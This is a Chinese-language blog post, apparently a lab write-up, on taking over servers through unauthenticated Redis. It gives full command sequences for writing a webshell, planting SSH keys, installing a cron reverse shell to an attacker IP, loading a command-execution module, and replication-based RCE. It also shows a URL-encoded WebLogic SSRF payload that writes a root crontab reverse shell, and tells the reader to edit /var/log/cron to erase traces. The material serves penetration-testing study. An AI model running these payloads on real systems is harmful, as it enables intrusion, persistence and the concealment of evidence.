这篇文章上次修改于 708 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
0x01 简介
本文以 redis 未授权和 redis 弱口令为前提进行提权
0x02 实验环境
- 系统:CentOS 7.9 x64
- 数据库:Redis 6.2.5
0x03 利用方法
3.1 写入 webshell
必要条件:
- 知道网站的绝对路径
- 对网站目录有写入权限
设置键值
# 因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。
keys *
# 创建x键并且赋值
set x "<?php phpinfo();?>"
在设置文件写入目录和文件名之前,要先查看默认的目录和文件名
# 查看设置默认值
config get *
记录下默认值后便可写入 webshell 了
# 设置文件写入目录
config set dir /www/admin/localhost_80/wwwroot
# 设置文件名
config set dbfilename info.php
# 保存,完成文件写入
save
# 删除创建的x键
del x
# 设置回原来的目录
config set dir /root/redis-6.2.5/src
# 设置回原来的文件名
config set dbfilename dump.rdb
查看效果,写入成功
3.2 写入 ssh 公钥
必要条件:
- 知道启动服务的用户
- 用户拥有 .ssh 目录
- 允许使用基于密钥认证的方式登陆
先用 xshell 来生成公钥和私钥
工具 ——> 新建用户密钥生成导向
下一步
下一步
输入名称和密码,然后下一步
保存公钥,然后完成
这是刚才创建的私钥,导出的时候需要输入刚才设置的密码
从上面写 webshell 可以看出,redis 写文件会写入其他数据,这些数据与公钥混在一起会影响公钥识别,所以需要在公钥的前面与后面各加两个回车,将脏数据与公钥隔开
设置路径与文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
# 保存,完成文件写入
save
写入以后就可以使用私钥来进行连接,注意,用户名这要填启动服务的用户
3.3 写入定时任务
必要条件:
- 对计划任务目录写入权限
在设置键值时,与写入 ssh 公钥一样,脏数据不能和定时任务混在一起,所以需要在前面和后面加一个回车
# 每分钟反弹一次shell
*/1 * * * * bash -i >& /dev/tcp/192.168.26.129/5555 0>&1
设置路径与文件名
config set dir /var/spool/cron
config set dbfilename root
# 保存,完成文件写入
save
在攻击机上开启监听,1分钟后便能获得反弹shell
3.4 模块加载执行命令
必要条件:
- 目标服务器上有 .so 文件
- redis 支持 module 命令
我们可以利用 webshell 上传 .so 文件,然后再用 redis 的 module 命令加载 .so 文件
.so 文件在这获取(传送门),下载好源文件后,make 一下就能获得 .so 文件了
# 加载.so文件
module load /www/admin/localhost_80/wwwroot/module.so
# 查看现有模块
module list
# 执行命令
system.exec "whoami"
# 删除模块
module unload system
3.5 主从复制 rce
必要条件:
- Redis 4.x/5.x
利用脚本(传送门),将 .so 文件放到与 redis-rce.py 同目录
# -L后接本地ip,-r后接redis服务器ip
python redis-rce.py -L 192.168.26.129 -r 192.168.26.139 -f module.so
由于实验环境为 Redis 6.2.5,所以并没有复现成功
0x04 其他情况
4.1 ssrf + redis
Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意 HTTP 请求,进而攻击内网中 redis、fastcgi 等脆弱组件。
4.1.1 实验环境
本次使用的靶机是 Vulhub 中的一个环境,搭建方法:将 vulhub 项目 git 到本地,切换到/vulhub/weblogic/ssrf
目录下,使用下面的命令进行搭建
docker-compose build
docker-compose up -d
4.1.2 利用方法
环境搭好以后,访问ip:7001/console/login/LoginForm.jsp
便可打开 weblogic 页面
访问ip:7001/uddiexplorer/SearchPublicRegistries.jsp
便可进入存在漏洞的页面
在 Search by business name 处输入 test,然后点击 Search 进行测试,发现有返回信息
通过抓包,在 operator 参数中发现了 url 地址,这时我们对请求的内容进行修改,进行内网探测
将 operator 参数替换为 ip:port 形式的值,当该值为可访问的端口时将会得到错误,一般是返回404 error code
,如下图所示:
当该值为不可访问的端口时将会得到错误,一般是返回 but could not connect over HTTP to server
如果访问的非 http 协议,则会返回 which did not have a valid SOAP
接下来,就用 burp 的 Intruder 模块进行爆破,先爆破 ip
从爆破结果可以看到有2个 ip 是可能的
再爆破端口,这里将 ip 和端口放到一起爆破,爆破模式选择 Cluster bomb
从结果中可以找到存在 redis 服务的 ip
把下列命令进行 url 编码,其中换行符为\r\n
,对应编码后的内容为%0D%0A
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
hhh
得到
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.26.129%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ahhh
然后将命令加在 operator 参数中,在响应体中可以看到返回的数据
在攻击机中监听端口,收到反弹的 shell
0x05 痕迹
5.1 文件
以上5种提权方法都会写入文件,在完成权限维持后需要进行清理。
5.2 日志
定时任务执行的时候会在/var/log/cron
中有记录,获得反弹shell以后可以通过编辑/var/log/cron
来清理痕迹
0x06 踩坑记录
6.1
在设置写入文件目录时,如果目录存在却报错ERR Changing directory: No such file or directory
,这是因为 root 没有登录过,登录以后就行了,或者再尝试一次。
6.2
在配置密钥登录时,要编辑 /etc/ssh/sshd_config
文件,修改以下选项
# 此处请留意root用户能否通过SSH登录
PermitRootLogin yes
# 开启密钥登入的认证方式
RSAAuthentication yes
# 开启密钥登入的认证方式
PubkeyAuthentication yes
# AuthorizedKeysFile路径
AuthorizedKeysFile .ssh/authorized_keys
6.3
参考链接中,有在 Debian 和 Ubuntu 中写入定时任务提权的情况,在这两个系统中是不行的,因为 redis 写文件会有脏数据,而 Debian 和 Ubuntu 对于计划任务的格式要求是很严格的,所以无法通过语法检查,并且,Ubuntu 用户定时任务必须在600权限才能执行,而用 redis 创建的任务是644权限,也就不能执行计划任务。
没有评论